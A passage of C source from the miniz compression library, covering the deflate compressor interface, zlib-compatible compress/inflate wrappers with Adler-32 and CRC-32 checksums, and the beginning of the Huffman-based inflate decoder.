m_total_lz_bytes, m_lz_code_buf_dict_pos, m_bits_in, m_bit_buffer; mz_uint m_saved_match_dist, m_saved_match_len, m_saved_lit, m_output_flush_ofs, m_output_flush_remaining, m_finished, m_block_index, m_wants_to_finish; tdefl_status m_prev_return_status; const void *m_pIn_buf; void *m_pOut_buf; size_t *m_pIn_buf_size, *m_pOut_buf_size; tdefl_flush m_flush; const mz_uint8 *m_pSrc; size_t m_src_buf_left, m_out_buf_ofs; mz_uint8 m_dict[TDEFL_LZ_DICT_SIZE + TDEFL_MAX_MATCH_LEN - 1]; mz_uint16 m_huff_count[TDEFL_MAX_HUFF_TABLES][TDEFL_MAX_HUFF_SYMBOLS]; mz_uint16 m_huff_codes[TDEFL_MAX_HUFF_TABLES][TDEFL_MAX_HUFF_SYMBOLS]; mz_uint8 m_huff_code_sizes[TDEFL_MAX_HUFF_TABLES][TDEFL_MAX_HUFF_SYMBOLS]; mz_uint8 m_lz_code_buf[TDEFL_LZ_CODE_BUF_SIZE]; mz_uint16 m_next[TDEFL_LZ_DICT_SIZE]; mz_uint16 m_hash[TDEFL_LZ_HASH_SIZE]; mz_uint8 m_output_buf[TDEFL_OUT_BUF_SIZE]; } tdefl_compressor; // Initializes the compressor. // There is no corresponding deinit() function because the tdefl API's do not dynamically allocate memory. // pBut_buf_func: If NULL, output data will be supplied to the specified callback. In this case, the user should call the tdefl_compress_buffer() API for compression. // If pBut_buf_func is NULL the user should always call the tdefl_compress() API. // flags: See the above enums (TDEFL_HUFFMAN_ONLY, TDEFL_WRITE_ZLIB_HEADER, etc.) tdefl_status tdefl_init(tdefl_compressor *d, tdefl_put_buf_func_ptr pPut_buf_func, void *pPut_buf_user, int flags); // Compresses a block of data, consuming as much of the specified input buffer as possible, and writing as much compressed data to the specified output buffer as possible. tdefl_status tdefl_compress(tdefl_compressor *d, const void *pIn_buf, size_t *pIn_buf_size, void *pOut_buf, size_t *pOut_buf_size, tdefl_flush flush); // tdefl_compress_buffer() is only usable when the tdefl_init() is called with a non-NULL tdefl_put_buf_func_ptr. // tdefl_compress_buffer() always consumes the entire input buffer. tdefl_status tdefl_compress_buffer(tdefl_compressor *d, const void *pIn_buf, size_t in_buf_size, tdefl_flush flush); tdefl_status tdefl_get_prev_return_status(tdefl_compressor *d); mz_uint32 tdefl_get_adler32(tdefl_compressor *d); // Can't use tdefl_create_comp_flags_from_zip_params if MINIZ_NO_ZLIB_APIS isn't defined, because it uses some of its macros. #ifndef MINIZ_NO_ZLIB_APIS // Create tdefl_compress() flags given zlib-style compression parameters. // level may range from [0,10] (where 10 is absolute max compression, but may be much slower on some files) // window_bits may be -15 (raw deflate) or 15 (zlib) // strategy may be either MZ_DEFAULT_STRATEGY, MZ_FILTERED, MZ_HUFFMAN_ONLY, MZ_RLE, or MZ_FIXED mz_uint tdefl_create_comp_flags_from_zip_params(int level, int window_bits, int strategy); #endif // #ifndef MINIZ_NO_ZLIB_APIS #ifdef __cplusplus } #endif #endif // MINIZ_HEADER_INCLUDED // ------------------- End of Header: Implementation follows. (If you only want the header, define MINIZ_HEADER_FILE_ONLY.) #ifndef MINIZ_HEADER_FILE_ONLY typedef unsigned char mz_validate_uint16[sizeof(mz_uint16)==2 ? 1 : -1]; typedef unsigned char mz_validate_uint32[sizeof(mz_uint32)==4 ? 1 : -1]; typedef unsigned char mz_validate_uint64[sizeof(mz_uint64)==8 ? 1 : -1]; #include <string.h> #include <assert.h> #define MZ_ASSERT(x) assert(x) #ifdef MINIZ_NO_MALLOC #define MZ_MALLOC(x) NULL #define MZ_FREE(x) (void)x, ((void)0) #define MZ_REALLOC(p, x) NULL #else #define MZ_MALLOC(x) malloc(x) #define MZ_FREE(x) free(x) #define MZ_REALLOC(p, x) realloc(p, x) #endif #define MZ_MAX(a,b) (((a)>(b))?(a):(b)) #define MZ_MIN(a,b) (((a)<(b))?(a):(b)) #define MZ_CLEAR_OBJ(obj) memset(&(obj), 0, sizeof(obj)) #if MINIZ_USE_UNALIGNED_LOADS_AND_STORES && MINIZ_LITTLE_ENDIAN #define MZ_READ_LE16(p) *((const mz_uint16 *)(p)) #define MZ_READ_LE32(p) *((const mz_uint32 *)(p)) #else #define MZ_READ_LE16(p) ((mz_uint32)(((const mz_uint8 *)(p))[0]) | ((mz_uint32)(((const mz_uint8 *)(p))[1]) << 8U)) #define MZ_READ_LE32(p) ((mz_uint32)(((const mz_uint8 *)(p))[0]) | ((mz_uint32)(((const mz_uint8 *)(p))[1]) << 8U) | ((mz_uint32)(((const mz_uint8 *)(p))[2]) << 16U) | ((mz_uint32)(((const mz_uint8 *)(p))[3]) << 24U)) #endif #ifdef _MSC_VER #define MZ_FORCEINLINE __forceinline #elif defined(__GNUC__) #define MZ_FORCEINLINE inline __attribute__((__always_inline__)) #else #define MZ_FORCEINLINE inline #endif #ifdef __cplusplus extern "C" { #endif // ------------------- zlib-style API's mz_ulong mz_adler32(mz_ulong adler, const unsigned char *ptr, size_t buf_len) { mz_uint32 i, s1 = (mz_uint32)(adler & 0xffff), s2 = (mz_uint32)(adler >> 16); size_t block_len = buf_len % 5552; if (!ptr) return MZ_ADLER32_INIT; while (buf_len) { for (i = 0; i + 7 < block_len; i += 8, ptr += 8) { s1 += ptr[0], s2 += s1; s1 += ptr[1], s2 += s1; s1 += ptr[2], s2 += s1; s1 += ptr[3], s2 += s1; s1 += ptr[4], s2 += s1; s1 += ptr[5], s2 += s1; s1 += ptr[6], s2 += s1; s1 += ptr[7], s2 += s1; } for ( ; i < block_len; ++i) s1 += *ptr++, s2 += s1; s1 %= 65521U, s2 %= 65521U; buf_len -= block_len; block_len = 5552; } return (s2 << 16) + s1; } // Karl Malbrain's compact CRC-32. See "A compact CCITT crc16 and crc32 C implementation that balances processor cache usage against speed": http://www.geocities.com/malbrain/ mz_ulong mz_crc32(mz_ulong crc, const mz_uint8 *ptr, size_t buf_len) { static const mz_uint32 s_crc32[16] = { 0, 0x1db71064, 0x3b6e20c8, 0x26d930ac, 0x76dc4190, 0x6b6b51f4, 0x4db26158, 0x5005713c, 0xedb88320, 0xf00f9344, 0xd6d6a3e8, 0xcb61b38c, 0x9b64c2b0, 0x86d3d2d4, 0xa00ae278, 0xbdbdf21c }; mz_uint32 crcu32 = (mz_uint32)crc; if (!ptr) return MZ_CRC32_INIT; crcu32 = ~crcu32; while (buf_len--) { mz_uint8 b = *ptr++; crcu32 = (crcu32 >> 4) ^ s_crc32[(crcu32 & 0xF) ^ (b & 0xF)]; crcu32 = (crcu32 >> 4) ^ s_crc32[(crcu32 & 0xF) ^ (b >> 4)]; } return ~crcu32; } void mz_free(void *p) { MZ_FREE(p); } #ifndef MINIZ_NO_ZLIB_APIS static void *def_alloc_func(void *opaque, size_t items, size_t size) { (void)opaque, (void)items, (void)size; return MZ_MALLOC(items * size); } static void def_free_func(void *opaque, void *address) { (void)opaque, (void)address; MZ_FREE(address); } static void *def_realloc_func(void *opaque, void *address, size_t items, size_t size) { (void)opaque, (void)address, (void)items, (void)size; return MZ_REALLOC(address, items * size); } const char *mz_version(void) { return MZ_VERSION; } int mz_deflateInit(mz_streamp pStream, int level) { return mz_deflateInit2(pStream, level, MZ_DEFLATED, MZ_DEFAULT_WINDOW_BITS, 9, MZ_DEFAULT_STRATEGY); } int mz_deflateInit2(mz_streamp pStream, int level, int method, int window_bits, int mem_level, int strategy) { tdefl_compressor *pComp; mz_uint comp_flags = TDEFL_COMPUTE_ADLER32 | tdefl_create_comp_flags_from_zip_params(level, window_bits, strategy); if (!pStream) return MZ_STREAM_ERROR; if ((method != MZ_DEFLATED) || ((mem_level < 1) || (mem_level > 9)) || ((window_bits != MZ_DEFAULT_WINDOW_BITS) && (-window_bits != MZ_DEFAULT_WINDOW_BITS))) return MZ_PARAM_ERROR; pStream->data_type = 0; pStream->adler = MZ_ADLER32_INIT; pStream->msg = NULL; pStream->reserved = 0; pStream->total_in = 0; pStream->total_out = 0; if (!pStream->zalloc) pStream->zalloc = def_alloc_func; if (!pStream->zfree) pStream->zfree = def_free_func; pComp = (tdefl_compressor *)pStream->zalloc(pStream->opaque, 1, sizeof(tdefl_compressor)); if (!pComp) return MZ_MEM_ERROR; pStream->state = (struct mz_internal_state *)pComp; if (tdefl_init(pComp, NULL, NULL, comp_flags) != TDEFL_STATUS_OKAY) { mz_deflateEnd(pStream); return MZ_PARAM_ERROR; } return MZ_OK; } int mz_deflateReset(mz_streamp pStream) { if ((!pStream) || (!pStream->state) || (!pStream->zalloc) || (!pStream->zfree)) return MZ_STREAM_ERROR; pStream->total_in = pStream->total_out = 0; tdefl_init((tdefl_compressor*)pStream->state, NULL, NULL, ((tdefl_compressor*)pStream->state)->m_flags); return MZ_OK; } int mz_deflate(mz_streamp pStream, int flush) { size_t in_bytes, out_bytes; mz_ulong orig_total_in, orig_total_out; int mz_status = MZ_OK; if ((!pStream) || (!pStream->state) || (flush < 0) || (flush > MZ_FINISH) || (!pStream->next_out)) return MZ_STREAM_ERROR; if (!pStream->avail_out) return MZ_BUF_ERROR; if (flush == MZ_PARTIAL_FLUSH) flush = MZ_SYNC_FLUSH; if (((tdefl_compressor*)pStream->state)->m_prev_return_status == TDEFL_STATUS_DONE) return (flush == MZ_FINISH) ? MZ_STREAM_END : MZ_BUF_ERROR; orig_total_in = pStream->total_in; orig_total_out = pStream->total_out; for ( ; ; ) { tdefl_status defl_status; in_bytes = pStream->avail_in; out_bytes = pStream->avail_out; defl_status = tdefl_compress((tdefl_compressor*)pStream->state, pStream->next_in, &in_bytes, pStream->next_out, &out_bytes, (tdefl_flush)flush); pStream->next_in += (mz_uint)in_bytes; pStream->avail_in -= (mz_uint)in_bytes; pStream->total_in += (mz_uint)in_bytes; pStream->adler = tdefl_get_adler32((tdefl_compressor*)pStream->state); pStream->next_out += (mz_uint)out_bytes; pStream->avail_out -= (mz_uint)out_bytes; pStream->total_out += (mz_uint)out_bytes; if (defl_status < 0) { mz_status = MZ_STREAM_ERROR; break; } else if (defl_status == TDEFL_STATUS_DONE) { mz_status = MZ_STREAM_END; break; } else if (!pStream->avail_out) break; else if ((!pStream->avail_in) && (flush != MZ_FINISH)) { if ((flush) || (pStream->total_in != orig_total_in) || (pStream->total_out != orig_total_out)) break; return MZ_BUF_ERROR; // Can't make forward progress without some input. } } return mz_status; } int mz_deflateEnd(mz_streamp pStream) { if (!pStream) return MZ_STREAM_ERROR; if (pStream->state) { pStream->zfree(pStream->opaque, pStream->state); pStream->state = NULL; } return MZ_OK; } mz_ulong mz_deflateBound(mz_streamp pStream, mz_ulong source_len) { (void)pStream; // This is really over conservative. (And lame, but it's actually pretty tricky to compute a true upper bound given the way tdefl's blocking works.) return MZ_MAX(128 + (source_len * 110) / 100, 128 + source_len + ((source_len / (31 * 1024)) + 1) * 5); } int mz_compress2(unsigned char *pDest, mz_ulong *pDest_len, const unsigned char *pSource, mz_ulong source_len, int level) { int status; mz_stream stream; memset(&stream, 0, sizeof(stream)); // In case mz_ulong is 64-bits (argh I hate longs). if ((source_len | *pDest_len) > 0xFFFFFFFFU) return MZ_PARAM_ERROR; stream.next_in = pSource; stream.avail_in = (mz_uint32)source_len; stream.next_out = pDest; stream.avail_out = (mz_uint32)*pDest_len; status = mz_deflateInit(&stream, level); if (status != MZ_OK) return status; status = mz_deflate(&stream, MZ_FINISH); if (status != MZ_STREAM_END) { mz_deflateEnd(&stream); return (status == MZ_OK) ? MZ_BUF_ERROR : status; } *pDest_len = stream.total_out; return mz_deflateEnd(&stream); } int mz_compress(unsigned char *pDest, mz_ulong *pDest_len, const unsigned char *pSource, mz_ulong source_len) { return mz_compress2(pDest, pDest_len, pSource, source_len, MZ_DEFAULT_COMPRESSION); } mz_ulong mz_compressBound(mz_ulong source_len) { return mz_deflateBound(NULL, source_len); } typedef struct { tinfl_decompressor m_decomp; mz_uint m_dict_ofs, m_dict_avail, m_first_call, m_has_flushed; int m_window_bits; mz_uint8 m_dict[TINFL_LZ_DICT_SIZE]; tinfl_status m_last_status; } inflate_state; int mz_inflateInit2(mz_streamp pStream, int window_bits) { inflate_state *pDecomp; if (!pStream) return MZ_STREAM_ERROR; if ((window_bits != MZ_DEFAULT_WINDOW_BITS) && (-window_bits != MZ_DEFAULT_WINDOW_BITS)) return MZ_PARAM_ERROR; pStream->data_type = 0; pStream->adler = 0; pStream->msg = NULL; pStream->total_in = 0; pStream->total_out = 0; pStream->reserved = 0; if (!pStream->zalloc) pStream->zalloc = def_alloc_func; if (!pStream->zfree) pStream->zfree = def_free_func; pDecomp = (inflate_state*)pStream->zalloc(pStream->opaque, 1, sizeof(inflate_state)); if (!pDecomp) return MZ_MEM_ERROR; pStream->state = (struct mz_internal_state *)pDecomp; tinfl_init(&pDecomp->m_decomp); pDecomp->m_dict_ofs = 0; pDecomp->m_dict_avail = 0; pDecomp->m_last_status = TINFL_STATUS_NEEDS_MORE_INPUT; pDecomp->m_first_call = 1; pDecomp->m_has_flushed = 0; pDecomp->m_window_bits = window_bits; return MZ_OK; } int mz_inflateInit(mz_streamp pStream) { return mz_inflateInit2(pStream, MZ_DEFAULT_WINDOW_BITS); } int mz_inflate(mz_streamp pStream, int flush) { inflate_state* pState; mz_uint n, first_call, decomp_flags = TINFL_FLAG_COMPUTE_ADLER32; size_t in_bytes, out_bytes, orig_avail_in; tinfl_status status; if ((!pStream) || (!pStream->state)) return MZ_STREAM_ERROR; if (flush == MZ_PARTIAL_FLUSH) flush = MZ_SYNC_FLUSH; if ((flush) && (flush != MZ_SYNC_FLUSH) && (flush != MZ_FINISH)) return MZ_STREAM_ERROR; pState = (inflate_state*)pStream->state; if (pState->m_window_bits > 0) decomp_flags |= TINFL_FLAG_PARSE_ZLIB_HEADER; orig_avail_in = pStream->avail_in; first_call = pState->m_first_call; pState->m_first_call = 0; if (pState->m_last_status < 0) return MZ_DATA_ERROR; if (pState->m_has_flushed && (flush != MZ_FINISH)) return MZ_STREAM_ERROR; pState->m_has_flushed |= (flush == MZ_FINISH); if ((flush == MZ_FINISH) && (first_call)) { // MZ_FINISH on the first call implies that the input and output buffers are large enough to hold the entire compressed/decompressed file. decomp_flags |= TINFL_FLAG_USING_NON_WRAPPING_OUTPUT_BUF; in_bytes = pStream->avail_in; out_bytes = pStream->avail_out; status = tinfl_decompress(&pState->m_decomp, pStream->next_in, &in_bytes, pStream->next_out, pStream->next_out, &out_bytes, decomp_flags); pState->m_last_status = status; pStream->next_in += (mz_uint)in_bytes; pStream->avail_in -= (mz_uint)in_bytes; pStream->total_in += (mz_uint)in_bytes; pStream->adler = tinfl_get_adler32(&pState->m_decomp); pStream->next_out += (mz_uint)out_bytes; pStream->avail_out -= (mz_uint)out_bytes; pStream->total_out += (mz_uint)out_bytes; if (status < 0) return MZ_DATA_ERROR; else if (status != TINFL_STATUS_DONE) { pState->m_last_status = TINFL_STATUS_FAILED; return MZ_BUF_ERROR; } return MZ_STREAM_END; } // flush != MZ_FINISH then we must assume there's more input. if (flush != MZ_FINISH) decomp_flags |= TINFL_FLAG_HAS_MORE_INPUT; if (pState->m_dict_avail) { n = MZ_MIN(pState->m_dict_avail, pStream->avail_out); memcpy(pStream->next_out, pState->m_dict + pState->m_dict_ofs, n); pStream->next_out += n; pStream->avail_out -= n; pStream->total_out += n; pState->m_dict_avail -= n; pState->m_dict_ofs = (pState->m_dict_ofs + n) & (TINFL_LZ_DICT_SIZE - 1); return ((pState->m_last_status == TINFL_STATUS_DONE) && (!pState->m_dict_avail)) ? MZ_STREAM_END : MZ_OK; } for ( ; ; ) { in_bytes = pStream->avail_in; out_bytes = TINFL_LZ_DICT_SIZE - pState->m_dict_ofs; status = tinfl_decompress(&pState->m_decomp, pStream->next_in, &in_bytes, pState->m_dict, pState->m_dict + pState->m_dict_ofs, &out_bytes, decomp_flags); pState->m_last_status = status; pStream->next_in += (mz_uint)in_bytes; pStream->avail_in -= (mz_uint)in_bytes; pStream->total_in += (mz_uint)in_bytes; pStream->adler = tinfl_get_adler32(&pState->m_decomp); pState->m_dict_avail = (mz_uint)out_bytes; n = MZ_MIN(pState->m_dict_avail, pStream->avail_out); memcpy(pStream->next_out, pState->m_dict + pState->m_dict_ofs, n); pStream->next_out += n; pStream->avail_out -= n; pStream->total_out += n; pState->m_dict_avail -= n; pState->m_dict_ofs = (pState->m_dict_ofs + n) & (TINFL_LZ_DICT_SIZE - 1); if (status < 0) return MZ_DATA_ERROR; // Stream is corrupted (there could be some uncompressed data left in the output dictionary - oh well). else if ((status == TINFL_STATUS_NEEDS_MORE_INPUT) && (!orig_avail_in)) return MZ_BUF_ERROR; // Signal caller that we can't make forward progress without supplying more input or by setting flush to MZ_FINISH. else if (flush == MZ_FINISH) { // The output buffer MUST be large to hold the remaining uncompressed data when flush==MZ_FINISH. if (status == TINFL_STATUS_DONE) return pState->m_dict_avail ? MZ_BUF_ERROR : MZ_STREAM_END; // status here must be TINFL_STATUS_HAS_MORE_OUTPUT, which means there's at least 1 more byte on the way. If there's no more room left in the output buffer then something is wrong. else if (!pStream->avail_out) return MZ_BUF_ERROR; } else if ((status == TINFL_STATUS_DONE) || (!pStream->avail_in) || (!pStream->avail_out) || (pState->m_dict_avail)) break; } return ((status == TINFL_STATUS_DONE) && (!pState->m_dict_avail)) ? MZ_STREAM_END : MZ_OK; } int mz_inflateEnd(mz_streamp pStream) { if (!pStream) return MZ_STREAM_ERROR; if (pStream->state) { pStream->zfree(pStream->opaque, pStream->state); pStream->state = NULL; } return MZ_OK; } int mz_uncompress(unsigned char *pDest, mz_ulong *pDest_len, const unsigned char *pSource, mz_ulong source_len) { mz_stream stream; int status; memset(&stream, 0, sizeof(stream)); // In case mz_ulong is 64-bits (argh I hate longs). if ((source_len | *pDest_len) > 0xFFFFFFFFU) return MZ_PARAM_ERROR; stream.next_in = pSource; stream.avail_in = (mz_uint32)source_len; stream.next_out = pDest; stream.avail_out = (mz_uint32)*pDest_len; status = mz_inflateInit(&stream); if (status != MZ_OK) return status; status = mz_inflate(&stream, MZ_FINISH); if (status != MZ_STREAM_END) { mz_inflateEnd(&stream); return ((status == MZ_BUF_ERROR) && (!stream.avail_in)) ? MZ_DATA_ERROR : status; } *pDest_len = stream.total_out; return mz_inflateEnd(&stream); } const char *mz_error(int err) { static struct { int m_err; const char *m_pDesc; } s_error_descs[] = { { MZ_OK, "" }, { MZ_STREAM_END, "stream end" }, { MZ_NEED_DICT, "need dictionary" }, { MZ_ERRNO, "file error" }, { MZ_STREAM_ERROR, "stream error" }, { MZ_DATA_ERROR, "data error" }, { MZ_MEM_ERROR, "out of memory" }, { MZ_BUF_ERROR, "buf error" }, { MZ_VERSION_ERROR, "version error" }, { MZ_PARAM_ERROR, "parameter error" } }; mz_uint i; for (i = 0; i < sizeof(s_error_descs) / sizeof(s_error_descs[0]); ++i) if (s_error_descs[i].m_err == err) return s_error_descs[i].m_pDesc; return NULL; } #endif //MINIZ_NO_ZLIB_APIS // ------------------- Low-level Decompression (completely independent from all compression API's) #define TINFL_MEMCPY(d, s, l) memcpy(d, s, l) #define TINFL_MEMSET(p, c, l) memset(p, c, l) #define TINFL_CR_BEGIN switch(r->m_state) { case 0: #define TINFL_CR_RETURN(state_index, result) do { status = result; r->m_state = state_index; goto common_exit; case state_index:; } MZ_MACRO_END #define TINFL_CR_RETURN_FOREVER(state_index, result) do { for ( ; ; ) { TINFL_CR_RETURN(state_index, result); } } MZ_MACRO_END #define TINFL_CR_FINISH } // TODO: If the caller has indicated that there's no more input, and we attempt to read beyond the input buf, then something is wrong with the input because the inflator never // reads ahead more than it needs to. Currently TINFL_GET_BYTE() pads the end of the stream with 0's in this scenario. #define TINFL_GET_BYTE(state_index, c) do { \ if (pIn_buf_cur >= pIn_buf_end) { \ for ( ; ; ) { \ if (decomp_flags & TINFL_FLAG_HAS_MORE_INPUT) { \ TINFL_CR_RETURN(state_index, TINFL_STATUS_NEEDS_MORE_INPUT); \ if (pIn_buf_cur < pIn_buf_end) { \ c = *pIn_buf_cur++; \ break; \ } \ } else { \ c = 0; \ break; \ } \ } \ } else c = *pIn_buf_cur++; } MZ_MACRO_END #define TINFL_NEED_BITS(state_index, n) do { mz_uint c; TINFL_GET_BYTE(state_index, c); bit_buf |= (((tinfl_bit_buf_t)c) << num_bits); num_bits += 8; } while (num_bits < (mz_uint)(n)) #define TINFL_SKIP_BITS(state_index, n) do { if (num_bits < (mz_uint)(n)) { TINFL_NEED_BITS(state_index, n); } bit_buf >>= (n); num_bits -= (n); } MZ_MACRO_END #define TINFL_GET_BITS(state_index, b, n) do { if (num_bits < (mz_uint)(n)) { TINFL_NEED_BITS(state_index, n); } b = bit_buf & ((1 << (n)) - 1); bit_buf >>= (n); num_bits -= (n); } MZ_MACRO_END // TINFL_HUFF_BITBUF_FILL() is only used rarely, when the number of bytes remaining in the input buffer falls below 2. // It reads just enough bytes from the input stream that are needed to decode the next Huffman code (and absolutely no more). It works by trying to fully decode a // Huffman code by using whatever bits are currently present in the bit buffer. If this fails, it reads another byte, and tries again until it succeeds or until the // bit buffer contains >=15 bits (deflate's max. Huffman code size). #define TINFL_HUFF_BITBUF_FILL(state_index, pHuff) \ do { \ temp = (pHuff)->m_look_up[bit_buf & (TINFL_FAST_LOOKUP_SIZE - 1)]; \ if (temp >= 0) { \ code_len = temp >> 9; \ if ((code_len) && (num_bits >= code_len)) \ break; \ } else if (num_bits > TINFL_FAST_LOOKUP_BITS) { \ code_len = TINFL_FAST_LOOKUP_BITS; \ do { \ temp = (pHuff)->m_tree[~temp + ((bit_buf >> code_len++) & 1)]; \ } while ((temp < 0) && (num_bits >= (code_len + 1))); if (temp >= 0) break; \ } TINFL_GET_BYTE(state_index, c); bit_buf |= (((tinfl_bit_buf_t)c) << num_bits); num_bits += 8; \ } while (num_bits < 15); // TINFL_HUFF_DECODE() decodes the next Huffman coded symbol. It's more complex than you would initially expect because the zlib API expects the decompressor to never read // beyond the final byte of the deflate stream. (In other words, when this macro wants to read another byte from the input, it REALLY needs another byte in order to fully // decode the next Huffman code.) Handling this properly is particularly important on raw deflate (non-zlib) streams, which aren't followed by a byte aligned adler-32. // The slow path is only executed at the very end of the input buffer. #define TINFL_HUFF_DECODE(state_index, sym, pHuff) do { \ int temp; mz_uint code_len, c; \ if (num_bits < 15) { \ if ((pIn_buf_end - pIn_buf_cur) < 2) { \ TINFL_HUFF_BITBUF_FILL(state_index, pHuff); \ } else { \ bit_buf |= (((tinfl_bit_buf_t)pIn_buf_cur[0]) << num_bits) | (((tinfl_bit_buf_t)pIn_buf_cur[1]) << (num_bits + 8)); pIn_buf_cur += 2; num_bits += 16; \ } \ } \ if ((temp = (pHuff)->m_look_up[bit_buf & (TINFL_FAST_LOOKUP_SIZE - 1)]) >= 0) \ code_len = temp >> 9, temp &= 511; \ else { \ code_len = TINFL_FAST_LOOKUP_BITS; do { temp = (pHuff)->m_tree[~temp + ((bit_buf >> code_len++) & 1)]; } while (temp < 0); \ } sym = temp; bit_buf >>= code_len; num_bits -= code_len; } MZ_MACRO_END tinfl_status tinfl_decompress(tinfl_decompressor *r, const mz_uint8 *pIn_buf_next, size_t *pIn_buf_size, mz_uint8 *pOut_buf_start, mz_uint8 *pOut_buf_next, size_t *pOut_buf_size, const mz_uint32 decomp_flags) { static const int s_length_base[31] = { 3,4,5,6,7,8,9,10,11,13, 15,17,19,23,27,31,35,43,51,59, 67,83,99,115,131,163,195,227,258,0,0 }; static const int s_length_extra[31]= { 0,0,0,0,0,0,0,0,1,1,1,1,2,2,2,2,3,3,3,3,4,4,4,4,5,5,5,5,0,0,0 }; static const int s_dist_base[32] = { 1,2,3,4,5,7,9,13,17,25,33,49,65,97,129,193, 257,385,513,769,1025,1537,2049,3073,4097,6145,8193,12289,16385,24577,0,0}; static const int s_dist_extra[32] = { 0,0,0,0,1,1,2,2,3,3,4,4,5,5,6,6,7,7,8,8,9,9,10,10,11,11,12,12,13,13}; static const mz_uint8 s_length_dezigzag[19] = { 16,17,18,0,8,7,9,6,10,5,11,4,12,3,13,2,14,1,15 }; static const int s_min_table_sizes[3] = { 257, 1, 4 }; tinfl_status status = TINFL_STATUS_FAILED; mz_uint32 num_bits, dist, counter, num_extra; tinfl_bit_buf_t bit_buf; const mz_uint8 *pIn_buf_cur = pIn_buf_next, *const pIn_buf_end = pIn_buf_next + *pIn_buf_size; mz_uint8 *pOut_buf_cur = pOut_buf_next, *const pOut_buf_end = pOut_buf_next + *pOut_buf_size; size_t out_buf_size_mask = (decomp_flags & TINFL_FLAG_USING_NON_WRAPPING_OUTPUT_BUF) ? (size_t)-1 : ((pOut_buf_next - pOut_buf_start) + *pOut_buf_size) - 1, dist_from_out_buf_start; // Ensure the output buffer's size is a power of 2, unless the output buffer is large enough to hold the entire output file (in which case it doesn't matter). if (((out_buf_size_mask + 1) & out_buf_size_mask) || (pOut_buf_next < pOut_buf_start)) { *pIn_buf_size = *pOut_buf_size = 0; return TINFL_STATUS_BAD_PARAM; } num_bits = r->m_num_bits; bit_buf = r->m_bit_buf; dist = r->m_dist; counter = r->m_counter; num_extra = r->m_num_extra; dist_from_out_buf_start = r->m_dist_from_out_buf_start; TINFL_CR_BEGIN bit_buf = num_bits = dist = counter = num_extra = r->m_zhdr0 = r->m_zhdr1 = 0; r->m_z_adler32 = r->m_check_adler32 = 1; if (decomp_flags & TINFL_FLAG_PARSE_ZLIB_HEADER) { TINFL_GET_BYTE(1, r->m_zhdr0); TINFL_GET_BYTE(2, r->m_zhdr1); counter = (((r->m_zhdr0 * 256 + r->m_zhdr1) % 31 != 0) || (r->m_zhdr1 & 32) || ((r->m_zhdr0 & 15) != 8)); if (!(decomp_flags & TINFL_FLAG_USING_NON_WRAPPING_OUTPUT_BUF)) counter |= (((1U << (8U + (r->m_zhdr0 >> 4))) > 32768U) || ((out_buf_size_mask + 1) < (size_t)(1U << (8U + (r->m_zhdr0 >> 4))))); if (counter) { TINFL_CR_RETURN_FOREVER(36, TINFL_STATUS_FAILED); } } do { TINFL_GET_BITS(3, r->m_final, 3); r->m_type = r->m_final >> 1; if (r->m_type == 0) { TINFL_SKIP_BITS(5, num_bits & 7); for (counter = 0; counter < 4; ++counter) { if (num_bits) TINFL_GET_BITS(6, r->m_raw_header[counter], 8); else TINFL_GET_BYTE(7, r->m_raw_header[counter]); } if ((counter = (r->m_raw_header[0] | (r->m_raw_header[1] << 8))) != (mz_uint)(0xFFFF ^ (r->m_raw_header[2] | (r->m_raw_header[3] << 8)))) { TINFL_CR_RETURN_FOREVER(39, TINFL_STATUS_FAILED); } while ((counter) && (num_bits)) { TINFL_GET_BITS(51, dist, 8); while (pOut_buf_cur >= pOut_buf_end) { TINFL_CR_RETURN(52, TINFL_STATUS_HAS_MORE_OUTPUT); } *pOut_buf_cur++ = (mz_uint8)dist; counter--; } while (counter) { size_t n; while (pOut_buf_cur >= pOut_buf_end) { TINFL_CR_RETURN(9, TINFL_STATUS_HAS_MORE_OUTPUT); } while (pIn_buf_cur >= pIn_buf_end) { if (decomp_flags & TINFL_FLAG_HAS_MORE_INPUT) { TINFL_CR_RETURN(38, TINFL_STATUS_NEEDS_MORE_INPUT); } else { TINFL_CR_RETURN_FOREVER(40, TINFL_STATUS_FAILED); } } n = MZ_MIN(MZ_MIN((size_t)(pOut_buf_end - pOut_buf_cur), (size_t)(pIn_buf_end - pIn_buf_cur)), counter); TINFL_MEMCPY(pOut_buf_cur, pIn_buf_cur, n); pIn_buf_cur += n; pOut_buf_cur += n; counter -= (mz_uint)n; } } else if (r->m_type == 3) { TINFL_CR_RETURN_FOREVER(10, TINFL_STATUS_FAILED); } else { if (r->m_type == 1) { mz_uint8 *p = r->m_tables[0].m_code_size; mz_uint i; r->m_table_sizes[0] = 288; r->m_table_sizes[1] = 32; TINFL_MEMSET(r->m_tables[1].m_code_size, 5, 32); for ( i = 0; i <= 143; ++i) *p++ = 8; for ( ; i <= 255; ++i) *p++ = 9; for ( ; i <= 279; ++i) *p++ = 7; for ( ; i <= 287; ++i) *p++ = 8; } else { for (counter = 0; counter < 3; counter++) { TINFL_GET_BITS(11, r->m_table_sizes[counter], "\05\05\04"[counter]); r->m_table_sizes[counter] += s_min_table_sizes[counter]; } MZ_CLEAR_OBJ(r->m_tables[2].m_code_size); for (counter = 0; counter < r->m_table_sizes[2]; counter++) { mz_uint s; TINFL_GET_BITS(14, s, 3); r->m_tables[2].m_code_size[s_length_dezigzag[counter]] = (mz_uint8)s; } r->m_table_sizes[2] = 19; } for ( ; (int)r->m_type >= 0; r->m_type--) { int tree_next, tree_cur; tinfl_huff_table *pTable; mz_uint i, j, used_syms, total, sym_index, next_code[17], total_syms[16]; pTable = &r->m_tables[r->m_type]; MZ_CLEAR_OBJ(total_syms); MZ_CLEAR_OBJ(pTable->m_look_up); MZ_CLEAR_OBJ(pTable->m_tree); for (i = 0; i < r->m_table_sizes[r->m_type]; ++i) total_syms[pTable->m_code_size[i]]++; used_syms = 0, total = 0; next_code[0] = next_code[1] = 0; for (i = 1; i <= 15; ++i) { used_syms += total_syms[i]; next_code[i + 1] = (total = ((total + total_syms[i]) << 1)); } if ((65536 != total) && (used_syms > 1)) { TINFL_CR_RETURN_FOREVER(35, TINFL_STATUS_FAILED); } for (tree_next = -1, sym_index = 0; sym_index < r->m_table_sizes[r->m_type]; ++sym_index) { mz_uint rev_code = 0, l, cur_code, code_size = pTable->m_code_size[sym_index]; if (!code_size) continue; cur_code = next_code[code_size]++; for (l = code_size; l > 0; l--, cur_code >>= 1) rev_code = (rev_code << 1) | (cur_code & 1); if (code_size <= TINFL_FAST_LOOKUP_BITS) { mz_int16 k = (mz_int16)((code_size << 9) | sym_index); while (rev_code < TINFL_FAST_LOOKUP_SIZE) { pTable->m_look_up[rev_code] = k; rev_code += (1 << code_size); } 